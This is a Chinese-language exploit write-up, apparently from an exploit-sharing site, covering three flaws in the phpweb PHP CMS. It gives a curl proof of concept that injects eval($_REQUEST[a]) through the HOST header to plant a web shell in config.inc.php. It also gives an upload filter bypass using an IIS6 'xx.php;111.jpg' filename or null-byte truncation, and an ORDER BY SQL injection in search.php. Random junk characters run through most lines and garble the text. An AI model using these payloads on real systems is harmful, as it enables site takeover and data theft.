注入:
2 ?: P8 E; o; K2 i3 l
! o# F$ @ y4 ~" e1 y1 Z之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码& |( Y# [5 K) M4 K
4 Q: b7 o M$ _+ F# r i
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件& }. c& D( Z1 x: h9 V6 ]9 O$ a
鸡肋2: 有一定安全常识的站长都会删掉 install 目录1 B4 v% t3 _: T. p- L7 C4 e
0 s9 i% p- X R: N+ Q' D虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
( n6 A1 s# ^+ C; C/ G
9 @- W4 @# o. ~% d$ D分析:
" d, C! r+ \8 _; S+ b- o5 m% h5 G
6 g( [) q7 D+ [' H5 n- P 2 ?; S0 y1 |: G; N& c1 M* ]6 v
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤) M$ Q& g- A) A$ W$ E- D- y
$ s! h2 h6 I8 o% s K% g" K
$filestr = fread(fopen($SysConfigFile, 'r'),30000);- Q c, p$ x3 D2 Z$ K
$filestr=str_replace(" ","",$filestr);9 S2 o, b) x p: Q. ?, a
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);( ?0 H8 f* U* z+ V$ `9 h% f
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
0 B! M% `) f* Z* [' g3 Z. p $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);5 A# I; X0 w' e) t, E6 d7 z
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);+ I. X! A+ S6 x, M5 t! N
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
1 F' o, n6 C5 y1 { $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);" p5 U% d6 v1 n5 K' y
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 Q6 N, T E1 C" p
; d" H4 M& V9 J" v7 H; v' t; Q fwrite(fopen($ConFile,"w"),$filestr,30000);
3 T) x) I0 f" D3 N5 [$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^" v7 }) M+ ?$ Y
! x/ s4 ~* z- K9 ~9 y
poc:
! J5 z: s2 l: m! B l. N2 i3 ~; k, X
?5 X* ~" R- V% n% q6 t' y
1
8 ^% c% R0 b% Q+ Ncurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#", Z: O$ I- ~2 e
shell地址: /config.inc.php2 J; v i8 I0 c9 y8 T
跟之前的 phpcms一样 需要远程数据库
* S6 B$ A, r G2 _$ i: G
E! {% N* h; h3 `; p# z——————————————————–
2 I+ F: ?6 N+ c上传漏洞(需要进后台):; f q8 {+ u2 z1 P2 D2 ?
漏洞文件: /kedit/upload_cgi/upload.php& k/ F( D& p8 e* e. x) b! |' \
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
- ?& C; }% a5 T, H- Y& c* s
5 g9 a( `8 q% ?, T6 O " a/ s8 m Z- a% S6 D- l
<?php
1 G7 ?3 }& i# R define("ROOTPATH", "../../"); }- A$ d! V) R8 d
include(ROOTPATH."includes/admin.inc.php");8 G' c2 [/ Y5 m; u* s7 P3 S$ @( L" w
NeedAuth(0);
1 ]) W% J% j3 C" I( Y' c* T
4 Y: V1 }! z* n$ m) l, r& k $dt=date("Ymd",time());
3 n9 Q$ I4 R) A3 } if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
! u# ~, h% P6 d @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);, y1 U* J" z8 W- g# A L% s
}! c2 T$ \/ x6 B9 E' W+ l5 e9 K1 b/ s
% C; }% r! \0 B6 a7 o( z //文件保存目录路径
/ T6 @" N2 O6 Z $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';/ J u: N$ U4 u$ P) @9 o
echo $save_path;
4 |0 p* y7 v. @8 D! n8 T% | //文件保存目录URL
8 l! |8 L' s1 p: M $save_url = '../../'.$_POST['attachPath'].$dt.'/'; u. C4 \' v. A* T# H8 d& d
( P: W# @' N6 D
//定义允许上传的文件扩展名; j, U2 m& C+ f3 ~2 ~9 c' f% j
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
! r4 A3 R/ m; ~7 Z8 z 6 K: b! ~) F7 i' s9 x. i
//最大文件大小
9 u3 G& f, m. R0 n1 R4 ^! D; c $max_size = 1000000;
# A# w8 y6 V# |
. x; m" @0 }- Y. n' r8 q# ]8 t //更改目录权限
2 E4 h& i" p' u5 L, n- Z" J) s @mkdir($save_path, 0777);
9 B$ B& y3 K" p! q J6 ~$ O # C+ O y; l0 ^& w; |
//文件的全部路径, I) E* z; y, T' g9 M0 ^& P
$file_path = $save_path.$_POST['fileName']; //保存文件名3 h2 q3 P# y; F% h2 ~# a( c; T; o
5 a, O% w0 T1 @$ X //文件URL
8 g% B, _- f, S1 W F $file_url = $save_url.$_POST['fileName'];: V" E7 @$ F5 v/ @) T' F
//有上传文件时5 `" C$ [: x, [
if (empty($_FILES) === false) {# M6 E7 \# C/ \8 y; q. l4 x, D
0 L- D) n' j9 m/ {$ O6 |( ? //原文件名3 w; ^: V) i% I' z" _. a
$file_name = $_FILES['fileData']['name'];9 T& a% a0 v# J3 }
//服务器上临时文件名1 T- u6 [+ v6 L4 o7 o5 K6 \
$tmp_name = $_FILES['fileData']['tmp_name'];+ |1 S4 E# ]1 T, D3 E: D9 }' L
//文件大小3 j" c3 F4 {/ `, a1 w
$file_size = $_FILES['fileData']['size'];% t- }, F T5 S
//检查目录
9 ?5 G0 @. J3 t) t2 v( f# P6 i if (@is_dir($save_path) === false) {
) @3 |2 l2 j, c/ o4 L+ C& @- h alert("上传目录不存在。");
3 ~) I5 \- K4 i; H9 R: o3 I }9 M1 N7 o3 S8 b0 D2 \2 i( _9 t- I0 d
//检查目录写权限8 a" G- x; t6 u& a
if (@is_writable($save_path) === false) {: S9 ~* ~" j0 d1 [. c+ z& v8 q% b
alert("上传目录没有写权限。");( l# M) A$ l- F, l0 q1 }1 o5 r
}7 b& Z4 i2 x& Y. {9 z: {2 R
//检查是否已上传
' r7 s8 i5 P4 V- F$ ]+ \ if (@is_uploaded_file($tmp_name) === false) {
Q6 H8 p. Q; [ alert("临时文件可能不是上传文件。");
9 b+ c7 \- q j4 y$ K5 O, T }
2 O* o+ o( Z9 x' H' g //检查文件大小' {% z+ c0 C" V, t0 p
if ($file_size > $max_size) {
0 u' s2 O- b) l; U4 R alert("上传文件大小超过限制。");
( L3 v( T5 H. N. ]! Y7 f }+ @; D) ~4 y# e8 `3 S
//获得文件扩展名
3 s2 n) t. ^& x$ P $temp_arr = explode(".", $_POST['fileName']);$ X6 s' e1 E: n, @, |
$file_ext = array_pop($temp_arr);: r, o5 N, o4 M& f! k
$file_ext = trim($file_ext);+ G f8 B. @) T4 ^' t( g7 E" ]3 Y
$file_ext = strtolower($file_ext); n& o0 y3 g6 l
9 B I c9 B! ?4 ]$ y6 D6 ^; S$ b //检查扩展名
$ H+ B9 X# `) _. O if (in_array($file_ext, $ext_arr) === false) { , {) Y) x5 \ r1 Z8 X; `& Q
alert("上传文件扩展名是不允许的扩展名。");: I6 g" o9 M# t: O
}
: N$ G( Z) v; N( n; A- [ 9 t* s C I6 ~
//移动文件
) E- O( f0 q; v, Q //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^8 B8 s! |" M. k6 L/ y
if (move_uploaded_file($tmp_name, $file_path) === false) {+ l" k5 a& y: ?) m1 \9 V3 t
alert("上传文件失败。");
' R$ m5 u, b4 w) H, G }: n/ v2 e2 C$ o: l. B- d
2 ?9 V4 t6 i' @* G" n
@chmod($file_path,0666);
; ]: _ @ q. k% L% {
# P J: W9 D7 b4 o9 u1 m7 }" [ ?>
s" m# l/ v% d- k, b抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227; \, j& n+ d/ d! I7 a& G& [& E
: Q8 T9 F6 \6 X& y' {apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 A9 d0 N- ~" \/ D7 ]4 v
' v0 W$ I" O( L& h8 {( n——————————————————
8 L* |* `" G% c$ ]1 B4 R注入漏洞:
/ q# U6 y! s2 P. L漏洞文件:search/module/search.php
, u2 k; B" \8 _6 R6 C& `/search/index.php?key=1&myord=1 [sqlinjection]& A' P8 A, n! h0 e. B; ?
# q6 O B' p5 j/ f6 G- b
$ A; j& x$ B! `! r9 z
<?php3 a. Q2 b$ S0 y
// ... 省略 n 行...
" ~2 k5 B- ^ J" I. y( D R //第18行:& r, Q b7 r2 D
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
: d; S. l, ?$ e8 @1 U $page=htmlspecialchars($_GET["page"]);" e0 ^+ e9 L8 L
$myord=htmlspecialchars($_GET["myord"]);
! A2 m5 N$ `( O; g3 ?
3 I8 N7 T4 g, G ]1 H" H( J" Z4 w // ... 省略 n 行...
9 g1 r( g& u/ k$ P X( t $key,$myord 两个参数带入查询
# {2 S. m- Y! I$ u //第47行 $key:' E# Y: I) m: ~/ ]$ A
3 P7 B: s, E/ ^2 h0 c/ e( R6 t9 z: k9 W $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..% ?# I7 ^: s$ P, H: d# a Z2 U
f* B+ J3 C [5 \- ^5 Y' `
//第197行 $myord
; t+ }2 E. A. p $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
9 V; T" H5 L7 x' n, q& F1 H) x & h( q# D, Q' N1 X2 z) y
?>
2 B. _$ n+ g# }8 W X2 _ |